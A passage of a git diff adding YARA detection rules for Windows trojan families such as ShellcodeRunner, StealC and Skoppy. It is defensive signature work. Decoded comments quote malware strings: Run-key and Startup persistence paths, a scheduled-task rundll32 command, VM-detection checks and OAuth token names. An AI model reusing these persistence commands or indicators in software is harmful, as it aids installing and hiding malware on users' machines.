b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_PCP_MTB.yar new file mode 100644 index 0000000000..dfbb2e75ef --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_PCP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_PCP_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.PCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 85 fc 0f 00 00 0f b6 44 05 a0 32 85 0f 10 00 00 89 c2 48 8b 85 00 10 00 00 88 10 8b 85 ?? ?? ?? ?? d1 e8 00 85 0f 10 00 00 48 83 85 00 10 00 00 01 83 85 fc 0f 00 00 02 8b 85 fc 0f 00 00 3b 85 ec 0f 00 00 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_PSG_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_PSG_MTB.yar new file mode 100644 index 0000000000..8a1b2815fb --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_PSG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_PSG_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.PSG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {72 b7 48 8b 85 d8 07 00 00 48 89 85 c8 07 00 00 48 8b 85 c8 07 00 00 ff d0 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPA_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPA_MTB.yar index 103b837108..4907706c67 100644 --- a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPA_MTB.yar +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPA_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win64_ShellcodeRunner_RPA_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.RPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {48 8d 45 f0 49 89 c1 48 8d 45 f8 49 89 c0 48 b8 7e 13 00 00 00 00 00 00 49 89 c3 48 8d 05 3c 13 00 00 49 89 c2 4c 89 d1 4c 89 da } //10 + $a_01_1 = {b8 00 30 00 00 48 89 44 24 20 48 8d 45 d8 49 89 c1 48 b8 00 00 00 00 00 00 00 00 49 89 c0 48 8d 45 e0 49 89 c3 48 8b 45 e8 49 89 c2 4c 89 d1 4c 89 da 4c 8b 1d 04 80 03 00 41 ff d3 } //1 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} +rule Trojan_Win64_ShellcodeRunner_RPA_MTB_2{ meta: description = "Trojan:Win64/ShellcodeRunner.RPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPD_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPD_MTB.yar new file mode 100644 index 0000000000..499b6f11f9 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPD_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win64_ShellcodeRunner_RPD_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.RPD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,41 00 41 00 0b 00 00 " + + strings : + $a_01_0 = {46 61 69 6c 65 64 20 74 6f 20 74 61 6b 65 20 70 72 6f 63 65 73 73 20 73 6e 61 70 73 68 6f 74 21 } //10 Failed to take process snapshot! + $a_01_1 = {46 61 69 6c 65 64 20 74 6f 20 72 65 74 72 69 65 76 65 20 66 69 72 73 74 20 70 72 6f 63 65 73 73 21 } //10 Failed to retrieve first process! + $a_01_2 = {56 65 6e 5f 73 69 67 6e } //10 Ven_sign + $a_01_3 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 Software\Microsoft\Windows\CurrentVersion\Run + $a_01_4 = {63 00 68 00 6f 00 6e 00 67 00 69 00 6e 00 67 00 } //10 chonging + $a_01_5 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 5c 00 55 00 73 00 65 00 72 00 20 00 53 00 68 00 65 00 6c 00 6c 00 20 00 46 00 6f 00 6c 00 64 00 65 00 72 00 73 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders + $a_01_6 = {53 00 74 00 61 00 72 00 74 00 75 00 70 00 } //1 Startup + $a_01_7 = {25 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 25 00 5c 00 56 00 65 00 6e 00 6c 00 6e 00 6b 00 } //10 %ProgramData%\Venlnk + $a_01_8 = {50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 69 00 73 00 20 00 72 00 75 00 6e 00 6e 00 69 00 6e 00 67 00 2c 00 20 00 65 00 78 00 69 00 74 00 69 00 6e 00 67 00 2e 00 2e 00 2e 00 } //1 Process is running, exiting... + $a_01_9 = {5c 00 73 00 74 00 61 00 74 00 69 00 63 00 2e 00 69 00 6e 00 69 00 } //1 \static.ini + $a_01_10 = {4f 00 70 00 65 00 6e 00 41 00 69 00 5f 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 } //10 OpenAi_Service + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*1+(#a_01_4 & 1)*10+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*10+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*10) >=65 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPS_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPS_MTB.yar new file mode 100644 index 0000000000..4cd26e113d --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_RPS_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win64_ShellcodeRunner_RPS_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.RPS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,24 00 24 00 09 00 00 " + + strings : + $a_01_0 = {54 61 73 6b 20 63 72 65 61 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 } //1 Task created successfully! + $a_01_1 = {46 61 69 6c 65 64 20 74 6f 20 74 61 6b 65 20 70 72 6f 63 65 73 73 20 73 6e 61 70 73 68 6f 74 21 } //1 Failed to take process snapshot! + $a_01_2 = {46 61 69 6c 65 64 20 74 6f 20 72 65 74 72 69 65 76 65 20 66 69 72 73 74 20 70 72 6f 63 65 73 73 21 } //1 Failed to retrieve first process! + $a_01_3 = {56 65 6e 5f 73 69 67 6e } //10 Ven_sign + $a_01_4 = {46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 6f 00 70 00 65 00 6e 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 6b 00 65 00 79 00 2e 00 } //1 Failed to open registry key. + $a_01_5 = {46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 72 00 65 00 61 00 64 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 76 00 61 00 6c 00 75 00 65 00 2e 00 } //1 Failed to read registry value. + $a_01_6 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 44 00 65 00 65 00 70 00 53 00 65 00 72 00 } //10 Software\DeepSer + $a_01_7 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 Software\Microsoft\Windows\CurrentVersion\Run + $a_01_8 = {4f 00 70 00 65 00 6e 00 41 00 69 00 5f 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 } //10 OpenAi_Service + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*10+(#a_01_7 & 1)*1+(#a_01_8 & 1)*10) >=36 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_SXA_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_SXA_MTB.yar new file mode 100644 index 0000000000..111170bb20 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_SXA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_SXA_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.SXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {ff d0 48 89 45 f8 48 83 7d f8 00 75 07 b8 01 00 00 00 eb 1c 8b 55 ec 48 8b 45 f8 89 10 48 8b 45 f8 48 89 45 f0 48 8b 45 f0 ff d0 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_Shellcoderunner_PGR_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_Shellcoderunner_PGR_MTB.yar new file mode 100644 index 0000000000..182f2fc80a --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_Shellcoderunner_PGR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Shellcoderunner_PGR_MTB{ + meta: + description = "Trojan:Win64/Shellcoderunner.PGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 55 fc 48 8b 45 10 48 01 d0 0f b6 00 0f be c0 8d 50 ec 89 d0 c1 f8 ?? c1 e8 ?? 01 c2 0f b6 d2 29 c2 89 d1 8b 55 fc 48 8b 45 10 48 01 d0 89 ca 88 10 83 45 fc ?? 8b 45 fc 3b 45 18 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCA_MTB.yar b/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCA_MTB.yar new file mode 100644 index 0000000000..30a6eb79a4 --- /dev/null +++ b/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcoeRunner_PCA_MTB{ + meta: + description = "Trojan:Win64/ShellcoeRunner.PCA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 85 f4 07 00 00 0f b6 84 05 b0 03 00 00 32 85 f3 07 00 00 89 c2 48 8b 85 f8 07 00 00 88 10 48 83 85 ?? 07 00 00 01 83 85 ?? 07 00 00 01 8b 85 ?? 07 00 00 3b 85 dc 07 00 00 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCB_MTB.yar b/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCB_MTB.yar new file mode 100644 index 0000000000..1a8b349668 --- /dev/null +++ b/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcoeRunner_PCB_MTB{ + meta: + description = "Trojan:Win64/ShellcoeRunner.PCB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {48 01 d0 89 ca 88 10 48 8b 95 ?? 07 00 00 48 8b 85 ?? 07 00 00 48 01 d0 0f b6 00 48 8b 8d ?? 07 00 00 48 8b 95 ?? 07 00 00 48 01 ca 32 85 ?? 07 00 00 88 02 48 83 85 ?? 07 00 00 01 48 8b 85 ?? 07 00 00 48 3b 85 ?? 07 00 00 0f 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCC_MTB.yar b/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCC_MTB.yar new file mode 100644 index 0000000000..35d7c54fae --- /dev/null +++ b/Trojan/Win64/ShellcoeRunner/Trojan_Win64_ShellcoeRunner_PCC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcoeRunner_PCC_MTB{ + meta: + description = "Trojan:Win64/ShellcoeRunner.PCC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {48 98 0f b6 44 05 a0 8b 95 ?? 07 00 00 48 63 ca 48 8b 95 ?? 07 00 00 48 01 ca 32 85 ?? 07 00 00 88 02 83 85 ?? 07 00 00 01 8b 85 ?? 07 00 00 3d 1f 08 00 00 76 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/SilverBasket/Trojan_Win64_SilverBasket_A_dha.yar b/Trojan/Win64/SilverBasket/Trojan_Win64_SilverBasket_A_dha.yar new file mode 100644 index 0000000000..b8177fc837 --- /dev/null +++ b/Trojan/Win64/SilverBasket/Trojan_Win64_SilverBasket_A_dha.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_SilverBasket_A_dha{ + meta: + description = "Trojan:Win64/SilverBasket.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_80_0 = {43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 6b 79 50 44 46 5c 43 6c 73 53 72 76 2e 69 6e 66 } //C:\ProgramData\SkyPDF\ClsSrv.inf 1 + $a_80_1 = {43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 6b 79 50 44 46 5c 50 44 55 44 72 76 2e 62 6c 66 } //C:\ProgramData\SkyPDF\PDUDrv.blf 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Skoppy/Trojan_Win64_Skoppy_B_dha.yar b/Trojan/Win64/Skoppy/Trojan_Win64_Skoppy_B_dha.yar new file mode 100644 index 0000000000..c9d1c9cd65 --- /dev/null +++ b/Trojan/Win64/Skoppy/Trojan_Win64_Skoppy_B_dha.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Skoppy_B_dha{ + meta: + description = "Trojan:Win64/Skoppy.B!dha,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_01_0 = {5c 5c 2e 5c 56 42 6f 78 4d 69 6e 69 52 64 72 44 4e } //2 \\.\VBoxMiniRdrDN + $a_01_1 = {53 4f 46 54 57 41 52 45 5c 56 4d 77 61 72 65 2c 20 49 6e 63 2e 5c 56 4d 77 61 72 65 20 54 6f 6f 6c 73 } //2 SOFTWARE\VMware, Inc.\VMware Tools + $a_01_2 = {63 6f 5f 73 79 73 5f 63 6f 5f } //4 co_sys_co_ + $a_01_3 = {25 73 5c 6d 69 63 72 6f 2e 6c 6f 67 2e 7a 69 70 } //4 %s\micro.log.zip + $a_01_4 = {63 6d 64 20 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 43 6c 65 61 6e 53 79 73 6c 6f 67 54 61 73 6b 22 20 2f 74 72 20 22 72 75 6e 64 6c 6c 33 32 20 25 73 2c 73 22 } //8 cmd /c schtasks /create /tn "CleanSyslogTask" /tr "rundll32 %s,s" + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*4+(#a_01_3 & 1)*4+(#a_01_4 & 1)*8) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win64/SlickPlummet/Trojan_Win64_SlickPlummet_A_dha.yar b/Trojan/Win64/SlickPlummet/Trojan_Win64_SlickPlummet_A_dha.yar new file mode 100644 index 0000000000..00e234adae --- /dev/null +++ b/Trojan/Win64/SlickPlummet/Trojan_Win64_SlickPlummet_A_dha.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_SlickPlummet_A_dha{ + meta: + description = "Trojan:Win64/SlickPlummet.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {25 73 3a 25 64 3a 25 73 28 29 3a 20 5b 2b 5d 20 4f 76 65 72 77 72 69 74 69 6e 67 20 22 25 73 } //1 %s:%d:%s(): [+] Overwriting "%s + $a_01_1 = {25 73 3a 25 64 3a 25 73 28 29 3a 20 5b 2b 5d 20 53 74 61 72 74 69 6e 67 20 52 61 77 49 6f 20 64 69 73 6b 20 64 72 69 76 65 72 20 73 65 72 76 69 63 65 2e 2e } //1 %s:%d:%s(): [+] Starting RawIo disk driver service.. + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/SlipHammer/Trojan_Win64_SlipHammer_A_dha.yar b/Trojan/Win64/SlipHammer/Trojan_Win64_SlipHammer_A_dha.yar new file mode 100644 index 0000000000..f51ca5f638 --- /dev/null +++ b/Trojan/Win64/SlipHammer/Trojan_Win64_SlipHammer_A_dha.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_SlipHammer_A_dha{ + meta: + description = "Trojan:Win64/SlipHammer.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {68 00 61 00 73 00 20 00 62 00 65 00 65 00 6e 00 20 00 66 00 69 00 6c 00 6c 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 73 00 70 00 61 00 63 00 65 00 73 00 20 00 74 00 6f 00 20 00 6d 00 61 00 74 00 63 00 68 00 20 00 69 00 74 00 73 00 20 00 6f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 20 00 73 00 69 00 7a 00 65 00 2e 00 } //1 has been filled with spaces to match its original size. + $a_01_1 = {57 00 61 00 72 00 6e 00 69 00 6e 00 67 00 3a 00 20 00 46 00 69 00 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 20 00 6d 00 69 00 73 00 6d 00 61 00 74 00 63 00 68 00 20 00 61 00 66 00 74 00 65 00 72 00 20 00 66 00 69 00 6c 00 6c 00 69 00 6e 00 67 00 21 00 20 00 45 00 78 00 70 00 65 00 63 00 74 00 65 00 64 00 } //1 Warning: File size mismatch after filling! Expected + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/SneakyGrunt/Trojan_Win64_SneakyGrunt_A_dha.yar b/Trojan/Win64/SneakyGrunt/Trojan_Win64_SneakyGrunt_A_dha.yar new file mode 100644 index 0000000000..fc6778ca23 --- /dev/null +++ b/Trojan/Win64/SneakyGrunt/Trojan_Win64_SneakyGrunt_A_dha.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_SneakyGrunt_A_dha{ + meta: + description = "Trojan:Win64/SneakyGrunt.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 00 " + + strings : + $a_01_0 = {33 61 66 33 62 65 67 62 2e 30 61 6b } //10 3af3begb.0ak + $a_01_1 = {7b 00 22 00 47 00 55 00 49 00 44 00 22 00 3a 00 22 00 7b 00 30 00 7d 00 22 00 2c 00 22 00 54 00 79 00 70 00 65 00 22 00 3a 00 7b 00 31 00 7d 00 2c 00 22 00 4d 00 65 00 74 00 61 00 22 00 3a 00 22 00 7b 00 32 00 7d 00 22 00 2c 00 22 00 49 00 56 00 22 00 3a 00 22 00 7b 00 33 00 7d 00 22 00 2c 00 22 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 3a 00 22 00 7b 00 34 00 7d 00 22 00 2c 00 22 00 48 00 4d 00 41 00 43 00 22 00 3a 00 22 00 7b 00 35 00 7d 00 22 00 7d 00 } //10 {"GUID":"{0}","Type":{1},"Meta":"{2}","IV":"{3}","EncryptedMessage":"{4}","HMAC":"{5}"} + $a_01_2 = {74 6f 6b 65 6e 5f 74 79 70 65 } //1 token_type + $a_01_3 = {61 63 63 65 73 73 5f 74 6f 6b 65 6e } //1 access_token + $a_01_4 = {65 78 70 69 72 65 73 5f 69 6e } //1 expires_in + $a_01_5 = {72 65 66 72 65 73 68 5f 74 6f 6b 65 6e } //1 refresh_token + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_StealC_GVB_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_StealC_GVB_MTB.yar new file mode 100644 index 0000000000..378f247182 --- /dev/null +++ b/Trojan/Win64/StealC/Trojan_Win64_StealC_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_StealC_GVB_MTB{ + meta: + description = "Trojan:Win64/StealC.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {01 c1 0f b6 c1 8a 84 04 90 01 00 00 48 63 4c 24 74 41 30 04 0f } //2 + $a_01_1 = {01 c1 0f b6 c1 8a 84 04 90 01 00 00 48 63 4c 24 74 49 89 df 30 04 0b } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_StealC_GVC_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_StealC_GVC_MTB.yar new file mode 100644 index 0000000000..a94ab2b809 --- /dev/null +++ b/Trojan/Win64/StealC/Trojan_Win64_StealC_GVC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_StealC_GVC_MTB{ + meta: + description = "Trojan:Win64/StealC.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {01 c1 0f b6 c1 8a 84 04 90 01 00 00 48 63 4c 24 74 4d 89 f2 41 30 04 0e } //2 + $a_01_1 = {2f f2 69 c1 55 f4 c9 16 56 4b 59 8c 1e f1 00 d7 04 92 9c ee 96 83 8e 78 60 9a a2 88 05 a7 4d 9f } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_StealC_GVE_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_StealC_GVE_MTB.yar new file mode 100644 index 0000000000..3ad4038bbe --- /dev/null +++ b/Trojan/Win64/StealC/Trojan_Win64_StealC_GVE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_StealC_GVE_MTB{ + meta: + description = "Trojan:Win64/StealC.GVE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 c1 e1 02 45 01 c8 45 89 c0 44 89 c2 44 0f b6 04 10 44 31 c1 41 88 ca } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_StealC_GY_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_StealC_GY_MTB.yar index 101976f2d7..05f2d268dc 100644 --- a/Trojan/Win64/StealC/Trojan_Win64_StealC_GY_MTB.yar +++ b/Trojan/Win64/StealC/Trojan_Win64_StealC_GY_MTB.yar @@ -1,13 +1,12 @@ rule Trojan_Win64_StealC_GY_MTB{ meta: - description = "Trojan:Win64/StealC.GY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + description = "Trojan:Win64/StealC.GY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " strings : $a_01_0 = {89 d1 44 30 c1 20 ca 30 d1 08 d1 44 30 c1 44 30 c0 89 c2 30 ca 20 c8 } //3 $a_01_1 = {30 c8 20 d1 44 08 c2 44 30 e2 08 c2 89 d0 44 30 e0 44 20 c3 08 cb 89 c1 20 d1 } //1 - $a_01_2 = {30 d8 20 d3 08 d9 20 d0 89 c2 20 ca 30 c8 08 d0 } //1 condition: - ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 } \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_StealC_GZ_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_StealC_GZ_MTB.yar new file mode 100644 index 0000000000..011cb184ba --- /dev/null +++ b/Trojan/Win64/StealC/Trojan_Win64_StealC_GZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_StealC_GZ_MTB{ + meta: + description = "Trojan:Win64/StealC.GZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {0f 94 c0 0f 94 44 24 7f 83 fd 0a 0f 9c 84 24 ?? ?? ?? ?? 4d 89 c6 49 89 d4 49 89 cd 0f 9c c1 08 c1 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_StealC_VST_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_StealC_VST_MTB.yar new file mode 100644 index 0000000000..6e59a3a9f8 --- /dev/null +++ b/Trojan/Win64/StealC/Trojan_Win64_StealC_VST_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_StealC_VST_MTB{ + meta: + description = "Trojan:Win64/StealC.VST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {65 48 8b 04 25 60 00 00 00 48 8b 40 18 48 8b 40 20 48 89 84 24 90 00 00 00 b8 fd 06 f1 b5 3d 78 51 f0 f9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_Stealc_GA_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_Stealc_GA_MTB.yar new file mode 100644 index 0000000000..01e1f69053 --- /dev/null +++ b/Trojan/Win64/StealC/Trojan_Win64_Stealc_GA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Stealc_GA_MTB{ + meta: + description = "Trojan:Win64/Stealc.GA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {0f b7 c8 81 e9 19 04 00 00 74 14 83 e9 09 74 0f 83 e9 01 74 0a 83 e9 1c 74 05 83 f9 04 75 08 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealC/Trojan_Win64_Stealc_GB_MTB.yar b/Trojan/Win64/StealC/Trojan_Win64_Stealc_GB_MTB.yar new file mode 100644 index 0000000000..392e01cd84 --- /dev/null +++ b/Trojan/Win64/StealC/Trojan_Win64_Stealc_GB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Stealc_GB_MTB{ + meta: + description = "Trojan:Win64/Stealc.GB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 c1 42 8a 0c 08 32 0c 32 48 8d 55 ?? 88 4d ?? 49 8b ce e8 ?? ?? ?? ?? 48 ff c6 49 3b 75 ?? 72 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_GVA_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_GVA_MTB.yar new file mode 100644 index 